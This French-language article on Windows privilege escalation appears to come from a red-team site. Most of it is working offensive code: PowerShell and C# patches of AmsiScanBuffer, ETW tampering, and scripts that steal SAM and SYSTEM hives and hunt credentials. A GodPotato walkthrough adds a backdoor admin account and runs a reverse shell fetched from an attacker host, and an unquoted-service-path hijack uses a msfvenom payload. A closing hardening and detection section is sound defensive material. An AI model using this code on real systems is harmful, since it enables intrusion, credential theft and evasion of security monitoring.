REM - aswArPot.sys (Avast ancien) - kill process arbitraire

Bypass AMSI et Évasion des Défenses pour Outils d'Escalade

L'Antimalware Scan Interface (AMSI) intercepte le contenu des scripts PowerShell, VBScript, JScript et des assemblies .NET chargées dynamiquement avant leur exécution. En 2026, AMSI est le premier obstacle rencontré lors de l'exécution d'outils d'escalade de privilèges en PowerShell ou .NET. Les outils comme PowerUp, WinPEAS (version PS1), Rubeus ou SharpUp sont tous détectés par les signatures AMSI de Windows Defender. Le contournement d'AMSI est donc un prérequis opérationnel incontournable pour utiliser ces outils en environnement protégé.

Techniques de bypass AMSI par ordre de sophistication

# Méthode 1 : Patch mémoire amsiInitFailed (la plus simple mais très détectée)
$ref = [Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils')
$field = $ref.GetField('amsiInit'+'Failed','NonPublic,Static')
$field.SetValue($null,$true)

# Méthode 2 : Patch de AmsiScanBuffer via reflection (plus robuste)
$win32 = @"
using System;
using System.Runtime.InteropServices;
public class W32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
        uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $win32
$amsiDll = [W32]::LoadLibrary("am" + "si.dll")
$amsiScanBuffer = [W32]::GetProcAddress($amsiDll, "Amsi" + "Scan" + "Buffer")
$p = 0
[W32]::VirtualProtect($amsiScanBuffer, [uint32]5, 0x40, [ref]$p) | Out-Null
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $amsiScanBuffer, 6)

# Méthode 3 : PowerShell version 2 (si disponible - AMSI n'existe pas en PSv2)
powershell.exe -version 2 -ep bypass -file script.ps1

# Méthode 4 : Chargement direct d'assembly .NET compilée (évite l'inspection de script)
$bytes = (New-Object Net.WebClient).DownloadData("http://10.10.14.5/SharpUp.exe")
$assembly = [Reflection.Assembly]::Load($bytes)
$assembly.EntryPoint.Invoke($null, @(,@("audit")))

# Méthode 5 : ETW patch (désactiver le provider ETW qui alimente AMSI/Defender)
# Patch de EtwEventWrite pour court-circuiter la télémétrie
$etw = [Ref].Assembly.GetType('System.Diagnostics.Eventing.EventProvider')
$etwField = $etw.GetField('m_enabled','NonPublic,Instance')
# ... manipulation du provider

# Méthode 6 : Obfuscation à la volée (chaque exécution est unique)
# Utiliser Invoke-Obfuscation ou des techniques manuelles de string splitting
$cmd = "Inv" + "oke-" + "Mimi" + "katz"
IEX $cmd
// Patch AMSI en C# - intégrable dans un loader custom
using System;
using System.Runtime.InteropServices;

public class AmsiBypass
{
    [DllImport("kernel32.dll")]
    static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32.dll")]
    static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32.dll")]
    static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    public static bool Execute()
    {
        IntPtr amsiDll = LoadLibrary("amsi.dll");
        if (amsiDll == IntPtr.Zero) return false;

        IntPtr amsiScanBuffer = GetProcAddress(amsiDll, "AmsiScanBuffer");
        if (amsiScanBuffer == IntPtr.Zero) return false;

        // Patch : mov eax, 0x80070057 (E_INVALIDARG) ; ret
        // Cela fait retourner AMSI_RESULT_CLEAN pour tout contenu scanné
        byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

        uint oldProtect;
        if (!VirtualProtect(amsiScanBuffer, (UIntPtr)patch.Length, 0x40, out oldProtect))
            return false;

        Marshal.Copy(patch, 0, amsiScanBuffer, patch.Length);

        // Restaurer les protections mémoire originales
        VirtualProtect(amsiScanBuffer, (UIntPtr)patch.Length, oldProtect, out _);

        return true;
    }
}

Au-delà d'AMSI en 2026 : Les solutions EDR modernes (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint) ne reposent plus uniquement sur AMSI. Elles surveillent les ETW providers (Event Tracing for Windows), les appels syscall directs via instrumentation kernel, les hooks sur ntdll.dll, les comportements suspects comme l'injection de processus ou l'accès à LSASS, et les indicateurs de compromission (IoC) en temps réel. Un bypass AMSI seul ne suffit plus pour opérer sans détection. L'approche complète en 2026 combine : unhooking de ntdll.dll (restaurer les bytes originaux pour contourner les hooks EDR), ETW patching (désactiver la télémétrie), AMSI bypass (contourner l'inspection de contenu), utilisation de syscalls indirects (appeler directement les fonctions kernel sans passer par les hooks), et exécution via BOF (Beacon Object Files) ou assemblies .NET chargées en mémoire. Les outils comme Havoc C2, Sliver ou Brute Ratel intègrent ces techniques nativement.

Exploitation avancée

Exploitation de SeBackupPrivilege, SeRestorePrivilege et Credentials Stockés

Les privilèges SeBackupPrivilege et SeRestorePrivilege sont assignés par défaut aux membres du groupe Backup Operators et permettent respectivement de lire et écrire n'importe quel fichier du système, indépendamment des ACL. Ces privilèges sont souvent sous-estimés car ils ne permettent pas directement l'exécution de code, mais combinés avec l'extraction SAM/SYSTEM ou le DLL hijacking, ils offrent un chemin fiable et discret vers SYSTEM. Au-delà de ces privilèges spécifiques, de nombreuses sources de credentials existent localement et peuvent révéler des mots de passe d'escalade.

# Vérifier la présence de SeBackupPrivilege
whoami /priv | findstr "SeBackupPrivilege"

# Extraction SAM/SYSTEM via robocopy avec backup semantics (/B flag)
robocopy "C:\Windows\System32\config" "C:\temp" SAM SYSTEM SECURITY /B

# Script PowerShell pour lecture avec FILE_FLAG_BACKUP_SEMANTICS
Add-Type @"
using System;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;

public class BackupReader
{
    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    static extern SafeFileHandle CreateFile(string lpFileName, uint dwDesiredAccess,
        uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,
        uint dwFlagsAndAttributes, IntPtr hTemplateFile);

    const uint GENERIC_READ = 0x80000000;
    const uint FILE_SHARE_READ = 0x1;
    const uint OPEN_EXISTING = 3;
    const uint FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;

    public static void CopyFile(string src, string dst)
    {
        using (var handle = CreateFile(src, GENERIC_READ, FILE_SHARE_READ,
            IntPtr.Zero, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, IntPtr.Zero))
        {
            if (handle.IsInvalid)
                throw new Exception("CreateFile failed: " + Marshal.GetLastWin32Error());

            using (var fs = new FileStream(handle, FileAccess.Read))
            using (var output = File.Create(dst))
                fs.CopyTo(output);
        }
    }
}
"@

[BackupReader]::CopyFile("C:\Windows\System32\config\SAM", "C:\temp\SAM")
[BackupReader]::CopyFile("C:\Windows\System32\config\SYSTEM", "C:\temp\SYSTEM")

# SeRestorePrivilege -> écriture arbitraire -> DLL hijack d'un service SYSTEM
# Étape : identifier un service SYSTEM qui charge une DLL depuis un chemin prévisible
# puis écrire notre DLL malveillante dans ce chemin via backup semantics en écriture

Extraction de credentials stockés localement

# Credentials dans le Credential Manager Windows
cmdkey /list
# Extraction via mimikatz : vault::cred et vault::list

# Fichiers de configuration IIS (web.config avec connection strings)
Get-ChildItem -Path C:\inetpub -Include web.config,appsettings.json -File -Recurse -ErrorAction SilentlyContinue |
    Select-String -Pattern "connectionString|password|pwd|secret|apiKey" |
    Select-Object Path, LineNumber, Line

# Fichiers unattend.xml / sysprep.xml (mots de passe d'installation en base64)
$unattendPaths = @(
    "C:\unattend.xml", "C:\Windows\Panther\unattend.xml",
    "C:\Windows\Panther\Unattend\Unattend.xml",
    "C:\Windows\System32\Sysprep\unattend.xml",
    "C:\Windows\System32\Sysprep\Panther\unattend.xml"
)
$unattendPaths | Where-Object { Test-Path $_ } | ForEach-Object {
    Write-Host "[+] Trouvé: $_" -ForegroundColor Green
    Select-String -Path $_ -Pattern "Password|UserAccount|AutoLogon"
}

# McAfee SiteList.xml (credentials de mise à jour)
Get-ChildItem -Path "C:\ProgramData\McAfee" -Include SiteList.xml -Recurse -ErrorAction SilentlyContinue

# Variables d'environnement (parfois contiennent des tokens/API keys)
[Environment]::GetEnvironmentVariables("Machine") | Format-Table -AutoSize
[Environment]::GetEnvironmentVariables("User") | Format-Table -AutoSize

# GPP Passwords (si la machine est jointe au domaine)
findstr /S /I "cpassword" "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies\*.xml" 2>$null

Pour une analyse approfondie des vecteurs d'extraction de credentials en environnement Active Directory, consultez notre article sur la post-exploitation Active Directory.

Exploitation avancée

Outils d'Escalade : Arsenal Offensif et Sélection Contextuelle

L'écosystème d'outils d'escalade de privilèges Windows est riche et en constante évolution. Chaque outil possède ses forces, ses limitations et son profil de détection spécifique. La maîtrise de plusieurs outils permet de s'adapter aux différents contextes opérationnels et aux défenses rencontrées. Le choix de l'outil dépend de trois facteurs principaux : la phase d'attaque (énumération vs exploitation), le profil de détection acceptable (pentest déclaré vs red team furtif) et la compatibilité technique (version .NET disponible, architecture, contraintes mémoire).

OutilTypeLangageUsage principalDétection AV 2026
WinPEASÉnumération complèteC#/.NET 4.0Scan exhaustif de tous les vecteurs d'escaladeHaute (signatures connues)
PowerUp (PowerSploit)Énumération + ExploitPowerShellServices, DLL, registre, tokensTrès haute (AMSI)
SharpUpÉnumérationC#Équivalent compilé de PowerUp, évite AMSIMoyenne
SeatbeltCollecte d'informationC#Audit de sécurité ciblé par catégorieMoyenne
PrivescCheckÉnumérationPowerShellAlternative moderne et maintenue à PowerUpMoyenne (contournable)
GodPotatoExploitC#Impersonation SYSTEM via RPCSSHaute
PrintSpooferExploitC++Impersonation via Print SpoolerTrès haute
CoercedPotatoExploitC#Multi-coercion automatiqueMoyenne (plus récent)
MimikatzPost-exploitationCExtraction credentials (SAM, LSASS, DPAPI)Très haute
nanodumpPost-exploitationCDump LSASS avec évasion EDRFaible
SharpDPAPIPost-exploitationC#Extraction secrets DPAPIMoyenne
RubeusPost-exploitationC#Attaques Kerberos (tickets, roasting)Haute
KDUExploit kernelCChargement de drivers non signés via BYOVDMoyenne

En contexte de red team où la furtivité est prioritaire, on privilégie les outils compilés custom (recompilation depuis le source avec obfuscation), les BOF (Beacon Object Files) exécutés en mémoire via un agent C2, et les techniques LOLBin (Living Off The Land) qui utilisent exclusivement des binaires Microsoft légitimes. En pentest déclaré où la détection n'est pas un enjeu, WinPEAS et PowerUp offrent la couverture la plus complète et le gain de temps maximal.

Comparaison des Vecteurs : Efficacité, Détectabilité et Contexte d'Application

Le choix de la technique d'escalade dépend du contexte opérationnel : les privilèges actuels du token, les défenses en place (AV, EDR, AMSI), la nécessité de discrétion (red team vs pentest), la tolérance au risque de crash (production vs lab) et les contraintes de temps. Le tableau suivant compare les principales techniques selon ces critères pour aider à la prise de décision opérationnelle.

TechniquePrérequis minimumDétectabilité EDRFiabilitéRisque BSODFurtivité post-exploitTemps d'exécution
GodPotatoSeImpersonatePrivilegeMoyenneTrès hauteNulMoyenneImmédiat
PrintSpooferSeImpersonate + Spooler actifHaute (signature connue)HauteNulFaibleImmédiat
Service binpath modificationSERVICE_CHANGE_CONFIGFaibleHauteNulHauteAprès restart
Service binary replacementWrite sur l'exe du serviceFaibleHauteNulHauteAprès restart
DLL Hijacking (phantom)Write dans répertoire PATH/appTrès faibleHauteNulTrès hauteAprès trigger
UAC Bypass (COM moniker)Groupe Administrators (Medium)MoyenneHauteNulMoyenneImmédiat
AlwaysInstallElevatedPolicy activée (rare)FaibleTrès hauteNulHauteImmédiat
Kernel exploit récentVersion non patchéeVariableVariableMoyen à élevéVariableImmédiat
BYOVDAdmin (charger driver)Moyenne (driver signé)HauteMoyenMoyenneImmédiat
Token stealing (SeDebug)SeDebugPrivilege (admin)Très haute (accès lsass/winlogon)Très hauteNulFaibleImmédiat
Unquoted service pathWrite dans répertoire intermédiaireTrès faibleHauteNulTrès hauteAprès restart
Scheduled task abuseWrite sur script/binaireTrès faibleHauteNulTrès hauteAprès trigger/schedule

Stratégie d'Escalade : Arbre de Décision et Cas Pratiques

Face à un système Windows à escalader, l'approche méthodique suit un arbre de décision basé sur le contexte actuel. L'énumération initiale détermine la branche à suivre, et plusieurs chemins peuvent être tentés en parallèle pour maximiser les chances de succès tout en minimisant le bruit généré. La priorité va toujours aux techniques les plus silencieuses et les moins intrusives — on ne tente un kernel exploit que si toutes les autres options sont épuisées.

# Script d'arbre de décision automatisé
function Get-EscalationPath {
    $paths = @()
    $privs = whoami /priv
    $groups = whoami /groups

    # Branche 1 : SeImpersonatePrivilege -> Potato
    if ($privs -match "SeImpersonatePrivilege.*Enabled") {
        $paths += "[CRITICAL] POTATO: GodPotato (universel) ou PrintSpoofer (si Spooler actif)"
    }

    # Branche 2 : SeDebugPrivilege -> Token Stealing direct
    if ($privs -match "SeDebugPrivilege.*Enabled") {
        $paths += "[CRITICAL] TOKEN_STEAL: OpenProcess(winlogon) -> DuplicateToken -> CreateProcess"
    }

    # Branche 3 : SeBackupPrivilege -> Extraction SAM
    if ($privs -match "SeBackupPrivilege") {
        $paths += "[HIGH] BACKUP: robocopy /B SAM+SYSTEM -> secretsdump offline -> pass-the-hash"
    }

    # Branche 4 : Groupe Administrators + Medium integrity -> UAC bypass
    if ($groups -match "BUILTIN\\Administrators" -and $groups -match "Medium Mandatory Level") {
        $paths += "[HIGH] UAC_BYPASS: ICMLuaUtil COM / Fodhelper / CMSTP / SilentCleanup"
    }

    # Branche 5 : AlwaysInstallElevated
    $aie1 = reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated 2>$null
    $aie2 = reg query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated 2>$null
    if ($aie1 -match "0x1" -and $aie2 -match "0x1") {
        $paths += "[CRITICAL] MSI: AlwaysInstallElevated -> msfvenom MSI -> msiexec /quiet"
    }

    # Branche 6 : Services avec chemins non quotés
    $unquoted = Get-CimInstance Win32_Service | Where-Object {
        $_.PathName -and $_.PathName -notmatch '^"' -and $_.PathName -match '.+\s.+' -and
        $_.PathName -notmatch '^C:\\Windows\\' -and $_.StartName -match "System|LocalService"
    }
    if ($unquoted) {
        $paths += "[MEDIUM] UNQUOTED: $($unquoted.Count) service(s) - vérifier permissions répertoires"
    }

    # Branche 7 : Services avec binaires inscriptibles
    $modifiable = Get-CimInstance Win32_Service | Where-Object {
        $_.StartName -match "System" -and $_.PathName
    } | ForEach-Object {
        $p = $_.PathName -replace '"', '' -replace '\s+/.*', ''
        if ((Test-Path $p) -and ((Get-Acl $p).Access | Where-Object {
            $_.FileSystemRights -match "Write|Modify" -and $_.IdentityReference -match "Users|Everyone"
        })) { $_.Name }
    }
    if ($modifiable) {
        $paths += "[HIGH] SERVICE_BINARY: $($modifiable -join ', ') - binaire(s) inscriptible(s)"
    }

    # Affichage
    Write-Host "`n=== CHEMINS D'ESCALADE IDENTIFIÉS ===" -ForegroundColor Cyan
    if ($paths.Count -gt 0) {
        $paths | ForEach-Object { Write-Host "  $_" -ForegroundColor Green }
    } else {
        Write-Host "  [-] Aucun chemin rapide. Approfondir :" -ForegroundColor Yellow
        Write-Host "      - Tâches planifiées avec scripts modifiables" -ForegroundColor Yellow
        Write-Host "      - DLL manquantes (ProcMon sur services SYSTEM)" -ForegroundColor Yellow
        Write-Host "      - Kernel exploits (systeminfo -> WES-NG)" -ForegroundColor Yellow
        Write-Host "      - Credentials locaux (historique PS, web.config, unattend.xml)" -ForegroundColor Yellow
    }
}

Get-EscalationPath

Cas pratique : escalade depuis IIS AppPool via GodPotato

# Contexte : webshell ou reverse shell en tant que IIS APPPOOL\DefaultAppPool
# Étape 1 : Confirmer le contexte et les privilèges
whoami
# iis apppool\defaultapppool

whoami /priv
# SeImpersonatePrivilege           Enabled  <-- EXPLOITABLE

# Étape 2 : Transférer GodPotato (via certutil, curl ou upload webshell)
certutil -urlcache -f http://10.10.14.5:8080/GodPotato-NET4.exe C:\Windows\Temp\gp.exe

# Étape 3 : Vérification - exécuter whoami en SYSTEM
C:\Windows\Temp\gp.exe -cmd "cmd /c whoami"
# nt authority\system

# Étape 4 : Actions post-escalade
# Option A : Ajout d'un utilisateur admin pour accès RDP/WinRM
C:\Windows\Temp\gp.exe -cmd "cmd /c net user pentest P@ssw0rd2026! /add"
C:\Windows\Temp\gp.exe -cmd "cmd /c net localgroup administrators pentest /add"
C:\Windows\Temp\gp.exe -cmd "cmd /c net localgroup \"Remote Desktop Users\" pentest /add"

# Option B : Extraction de credentials pour mouvement latéral
C:\Windows\Temp\gp.exe -cmd "cmd /c reg save HKLM\SAM C:\Windows\Temp\s"
C:\Windows\Temp\gp.exe -cmd "cmd /c reg save HKLM\SYSTEM C:\Windows\Temp\y"

# Option C : Reverse shell SYSTEM
C:\Windows\Temp\gp.exe -cmd "cmd /c powershell -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/rev.ps1')\""

# Étape 5 : Nettoyage
del C:\Windows\Temp\gp.exe
del C:\Windows\Temp\s
del C:\Windows\Temp\y

Cas pratique : escalade via unquoted service path

REM Contexte : utilisateur standard, service vulnérable identifié
REM Service "BackupAgent" avec path: C:\Program Files\Backup Solution\Agent\service.exe
REM RunAs: LocalSystem, StartMode: Auto

REM Étape 1 : Vérifier les permissions sur les répertoires intermédiaires
icacls "C:\Program Files\Backup Solution\"
REM Résultat : BUILTIN\Users:(OI)(CI)(M) = Modify sur le répertoire

REM Étape 2 : Créer le payload au bon emplacement
REM Windows essaiera "C:\Program Files\Backup.exe" avant le vrai path
REM Si on peut écrire dans "C:\Program Files\Backup Solution\" :
REM Le fichier doit s'appeler "Agent.exe" (car l'espace est avant "Agent")

REM Compilation d'un service wrapper minimal
REM (ou msfvenom -p windows/x64/shell_reverse_tcp ... -f exe-service -o Agent.exe)
copy C:\temp\payload-svc.exe "C:\Program Files\Backup Solution\Agent.exe"

REM Étape 3 : Attendre le redémarrage du service ou du système
REM Si on peut restart le service :
sc stop BackupAgent
sc start BackupAgent

REM Étape 4 : Vérifier l'escalade
net localgroup administrators
REM Notre utilisateur ajouté est visible

REM Étape 5 : Nettoyage
del "C:\Program Files\Backup Solution\Agent.exe"
sc start BackupAgent

Défenses, Durcissement et Détection des Escalades

La prévention de l'escalade de privilèges nécessite une approche de défense en profondeur qui combine le durcissement préventif (réduction de surface d'attaque), la détection en temps réel (monitoring et alertes) et la réponse automatisée (isolation et remediation). Chaque vecteur d'attaque dispose de contre-mesures spécifiques, mais c'est la combinaison systématique de ces mesures qui rend l'escalade significativement plus difficile et détectable.

Mesures de durcissement prioritaires classées par impact

# === PRIORITÉ 1 : Supprimer les privilèges dangereux inutiles ===

# Auditer les comptes avec SeImpersonatePrivilege
# GPO : Computer Config > Windows Settings > Security Settings >
#        Local Policies > User Rights Assignment > Impersonate a client after authentication
# Ne conserver que : LOCAL SERVICE, NETWORK SERVICE, SERVICE, IIS_IUSRS (si nécessaire)

# === PRIORITÉ 2 : Corriger AlwaysInstallElevated ===
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f

# === PRIORITÉ 3 : Corriger les chemins de service non quotés ===
Get-CimInstance Win32_Service | Where-Object {
    $_.PathName -and $_.PathName -notmatch '^"' -and $_.PathName -match '.+\s.+\.exe' -and
    $_.PathName -notmatch '^C:\\Windows\\'
} | ForEach-Object {
    Write-Host "Correcting: $($_.Name)" -ForegroundColor Yellow
    $quoted = '"' + $_.PathName + '"'
    sc.exe config $_.Name binpath= $quoted
}

# === PRIORITÉ 4 : Désactiver le Print Spooler sur les serveurs ===
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled

# === PRIORITÉ 5 : UAC au maximum ===
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d 1 /f

# === PRIORITÉ 6 : Credential Guard (VBS) ===
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags /t REG_DWORD /d 1 /f
# Prérequis : Secure Boot, TPM 2.0, UEFI, pas de drivers incompatibles

# === PRIORITÉ 7 : Windows Defender ASR rules ===
# Bloquer le vol de credentials depuis LSASS
Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Enabled
# Bloquer les process injections
Set-MpPreference -AttackSurfaceReductionRules_Ids 56a863a9-875e-4185-98a7-b882c64b5ce5 -AttackSurfaceReductionRules_Actions Enabled
# Bloquer les appels Win32 depuis les macros Office
Set-MpPreference -AttackSurfaceReductionRules_Ids 92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b -AttackSurfaceReductionRules_Actions Enabled

# === PRIORITÉ 8 : Journalisation avancée ===
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Special Logon" /success:enable
# Command line dans les événements de création de processus
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

# === PRIORITÉ 9 : Bloquer les drivers vulnérables (WDAC recommended block list) ===
# Appliquer la Microsoft recommended driver block rules via WDAC ou Intune

# === PRIORITÉ 10 : LSA Protection (RunAsPPL) ===
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

Détection : événements critiques et règles de corrélation

# Événements Windows critiques pour la détection d'escalade :
# 4672 - Special Logon (privilèges élevés assignés) - correler avec 4624
# 4688 - Process Creation (avec command line) - patterns suspects
# 7045 - Service installed (nouveau service = possible binpath abuse)
# 4697 - Service installed (security log version)
# 1102 - Security log cleared (tentative d'effacement de traces)
# 4657 - Registry value modified (autorun keys)

# Sysmon events essentiels :
# Event 1  - Process creation (hash + parent process + command line)
# Event 7  - Image loaded (DLL hijacking detection)
# Event 8  - CreateRemoteThread (process injection)
# Event 10 - Process access (accès à LSASS = credential dumping)
# Event 11 - File created (dans répertoires sensibles)
# Event 13 - Registry modification (autorun + UAC keys)
# Event 17 - Pipe created (named pipe impersonation)
# Event 18 - Pipe connected (client connecting to attacker pipe)
# Event 25 - Process tampering (process hollowing/ghosting)

# Requête PowerShell pour détecter les accès LSASS suspects (via Security log)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4663} -MaxEvents 1000 |
    Where-Object { $_.Message -match "lsass" -and $_.Message -notmatch "svchost|csrss|wininit" } |
    Select-Object TimeCreated, @{N='Process';E={$_.Properties[1].Value}},
                  @{N='AccessMask';E={$_.Properties[8].Value}}

# Corrélation : processus enfant SYSTEM créé par un parent non-SYSTEM
# C'est l'indicateur le plus fiable d'une escalade réussie
# Implémentation via Sigma rule ou requête KQL dans Azure Sentinel

Pour une approche complète du durcissement Windows en entreprise, notre guide de sécurisation du poste de travail Windows couvre les configurations GPO détaillées, les benchmarks CIS Level 1 et 2, et les stratégies de déploiement progressif.

Services et configurations

FAQ : Questions Fréquentes sur l'Escalade de Privilèges Windows

Comment déterminer rapidement si un système Windows est vulnérable à une escalade de privilèges locale ?

La vérification rapide commence par trois commandes fondamentales exécutables sans aucun outil tiers : whoami /priv révèle les privilèges exploitables (SeImpersonatePrivilege signifie une escalade immédiate via GodPotato), whoami /groups vérifie l'appartenance au groupe Administrators (UAC bypass possible si le niveau d'intégrité est Medium), et wmic service get name,pathname,startmode | findstr /v """ identifie les unquoted service paths. L'exécution de WinPEAS ou PrivescCheck complète cette analyse en quelques minutes avec un rapport structuré. Statistiquement, plus de 80% des machines Windows en entreprise présentent au moins un vecteur d'escalade exploitable — le système est presque toujours vulnérable si les patches ne sont pas strictement à jour, si des logiciels tiers sont installés, ou si des comptes de service disposent de SeImpersonatePrivilege sur des machines accessibles.

Quelle est la différence opérationnelle entre PrintSpoofer et GodPotato et lequel choisir ?

PrintSpoofer exploite spécifiquement le service Print Spooler (SpoolSS) via une requête RPC qui force le service à se connecter à un named pipe contrôlé. Sa limitation principale : le service Spooler doit être actif, ce qui est de moins en moins le cas sur les serveurs modernes depuis PrintNightmare. GodPotato manipule directement le service RPCSS (RPC Subsystem) via le mécanisme d'unmarshalling DCOM — un service fondamental impossible à désactiver. GodPotato fonctionne donc universellement sur toutes les versions Windows de 2012 R2 à 2025, sans aucune dépendance optionnelle. En pratique opérationnelle, on utilise GodPotato en première intention. PrintSpoofer ou EfsPotato ne sont des alternatives que si GodPotato échoue (rare, possible sur des configurations très spécifiques ou en cas de détection EDR ciblée sur GodPotato). CoercedPotato combine automatiquement plusieurs méthodes de coercion et tente chacune jusqu'au succès.

Comment contourner Windows Defender pour exécuter des outils d'escalade sans être détecté ?

L'approche à privilégier dépend du type d'outil. Pour les scripts PowerShell (PowerUp, PrivescCheck), le bypass AMSI par patch mémoire de AmsiScanBuffer est le prérequis — sans lui, le contenu du script est scanné et bloqué avant même l'exécution de la première ligne. Pour les binaires compilés (WinPEAS, SharpUp, GodPotato), trois stratégies complémentaires existent. La recompilation depuis le source avec modification des chaînes de caractères détectées (strings obfuscation) évite la détection statique par signature. Le chargement en mémoire via reflection .NET ([Reflection.Assembly]::Load($bytes)) évite l'écriture sur disque. L'utilisation de loaders custom qui appliquent le bypass AMSI + ETW patch avant le chargement de l'assembly contourne la détection comportementale au niveau .NET. Pour une évasion complète des EDR en 2026, la combinaison minimale est : unhooking ntdll.dll, patch AMSI, patch ETW provider Microsoft-Windows-Threat-Intelligence, et utilisation de syscalls indirects pour les appels sensibles.

Est-il possible de réaliser une escalade de privilèges totalement fileless (sans écriture disque) ?

Certaines techniques sont effectivement fileless au sens strict. Le bypass UAC via modification temporaire du registre HKCU suivi du lancement d'un exécutable auto-élevant (comme fodhelper.exe) ne crée aucun fichier — seule une clé de registre éphémère est utilisée. L'impersonation de token via named pipe s'exécute entièrement en mémoire. Les exploits kernel injectés via reflection .NET ou BOF (Beacon Object Files) dans un agent C2 ne touchent pas le disque. Cependant, les techniques les plus fiables et universelles nécessitent typiquement d'écrire au moins un fichier temporaire : GodPotato est un exécutable, un service binary replacement nécessite un exe sur disque, le DLL hijacking nécessite une DLL. La stratégie pragmatique combine un loader fileless (PowerShell en mémoire avec AMSI bypass) qui télécharge et exécute le payload en mémoire via reflection, limitant l'empreinte disque au strict minimum ou l'éliminant complètement dans les cas favorables.

Exploitation avancée

Quels événements Windows et métriques Sysmon surveiller pour détecter les escalades en temps réel ?

La détection prioritaire cible les indicateurs suivants par ordre d'importance. Sysmon Event 10 avec TargetImage lsass.exe et SourceImage inhabituelle détecte les tentatives de dump LSASS (credential extraction post-escalade). Event ID 7045/4697 détecte l'installation de nouveaux services (binpath abuse). Sysmon Event 17/18 détecte la création de named pipes suspects (attaques Potato). Event ID 4672 combiné à 4688 détecte l'attribution de privilèges SYSTEM à un processus créé par un utilisateur non-SYSTEM (indicateur fort d'escalade réussie). Sysmon Event 13 sur les clés HKCU\Software\Classes\ms-settings et HKCU\Software\Classes\mscfile détecte les tentatives de bypass UAC. La règle de corrélation la plus efficace : alerter sur tout processus dont le parent s'exécute en Medium ou Low integrity mais qui lui-même s'exécute en High ou System integrity — cette transition est l'empreinte universelle d'une escalade réussie, quelle que soit la technique utilisée.

Comment exploiter SeBackupPrivilege sans mimikatz et sans outils détectables ?

SeBackupPrivilege permet de lire n'importe quel fichier via le flag FILE_FLAG_BACKUP_SEMANTICS dans l'appel CreateFile. Sans outil tiers, la commande robocopy /B (flag /B = backup mode) copie les fichiers protégés comme SAM et SYSTEM. Alternativement, diskshadow.exe (outil Microsoft légitime) crée une copie shadow accessible du volume système. Un script PowerShell minimaliste utilisant Add-Type et l'API Win32 CreateFile avec le flag approprié permet la lecture sans aucun binaire suspect. Les fichiers SAM et SYSTEM extraits sont ensuite transférés vers la machine attaquant pour extraction offline avec secretsdump.py (Impacket) — cette extraction offline ne génère aucune alerte sur la machine cible. Le résultat (hash NTLM des comptes locaux) est utilisable en pass-the-hash via CrackMapExec, Impacket ou evil-winrm pour s'authentifier en tant qu'administrateur local sans connaître le mot de passe en clair.

Les attaques Potato sont-elles exploitables dans des environnements cloud (Azure VMs, AWS EC2) ?

Sur les machines virtuelles cloud (Azure VM, AWS EC2, GCP Compute), les mêmes techniques d'escalade locale s'appliquent car le système d'exploitation reste un Windows standard. La particularité réside dans les vecteurs supplémentaires offerts par l'environnement cloud. Sur Azure, le service VM Agent (WindowsAzureGuestAgent) s'exécute en SYSTEM et les extensions VM (Custom Script Extension, Run Command) exécutent du code en SYSTEM — un attaquant avec les droits Azure RBAC appropriés peut déclencher une extension sans même être sur la machine. L'Instance Metadata Service (IMDS) à 169.254.169.254 expose des tokens managed identity exploitables après escalade locale. Sur AWS, le metadata service v1 (sans IMDSv2 forcé) et le SSM Agent offrent des pivots similaires. L'escalade locale vers SYSTEM sur une VM cloud ouvre la porte à la compromission de l'identité cloud de la machine, permettant le mouvement latéral vers d'autres ressources du tenant.

Exploitation avancée

